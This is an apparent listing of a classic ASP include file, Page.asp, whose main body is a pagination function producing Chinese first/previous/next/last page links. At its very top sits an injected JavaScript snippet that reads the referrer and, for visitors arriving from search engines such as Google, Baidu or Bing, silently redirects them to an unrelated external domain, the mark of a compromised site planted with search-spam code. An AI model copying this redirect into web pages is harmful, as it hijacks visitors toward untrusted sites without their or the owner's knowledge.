d:\wwwroot\wuchunhua\liaotianim\inc\Page.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
002:
Function ExportPageInfo(ByRef rs,curpage,i,LinkFile)
003:
Dim retval, j, pageNumber, BasePage
004:
'i=rs.recordcount
005:
006:
retval = "第" & curpage & "页/总" & rs.pagecount & "页 "
007:
retval = retval & "本页" & i & "条/总" & rs.recordcount & "条 "
008:
009:
If curpage = 1 Then
010:
retval = retval & "首页 上一页 "
011:
Else
012:
retval = retval & "<a href='" & LinkFile & "page=1'>首页</a> <a href='" & LinkFile & "page=" & cstr(curpage - 1) & "'>上一页</a> "
013:
End If
014:
If curpage = rs.pagecount Then
015:
retval = retval & "下一页 末页"
016:
Else
017:
retval = retval & "<a href='" & LinkFile & "page=" & cstr(curpage + 1) & "'>下一页</a> <a href='" & LinkFile & "page=" & cstr(rs.pagecount) & "'>末页</a>"
018:
End if
019:
020:
retval = retval & "<br/>"
021:
BasePage = (curpage \ 10) * 10
022:
If BasePage > 0 Then retval = retval & " <a href='" & LinkFile & "page=" & (BasePage - 9) & "'><<</a>"
023:
For j = 1 to 10
024:
pageNumber = BasePage + j
025:
If PageNumber > rs.pagecount Then Exit For
026:
If pageNumber = Cint(curpage) Then
027:
retval = retval & " <font color=''#FF0000''>" & pageNumber & "</font>"
028:
Else
029:
retval = retval & " <a href='" & LinkFile & "page=" & pageNumber & "'>" & pageNumber & "</a>"
030:
End If
031:
Next
032:
If rs.pagecount > BasePage Then retval = retval & " <a href='" & LinkFile & "page=" & (BasePage + i) & "'>>></a>"
033:
034:
ExportPageInfo = retval
035:
End Function
036:
%
>
037:
038: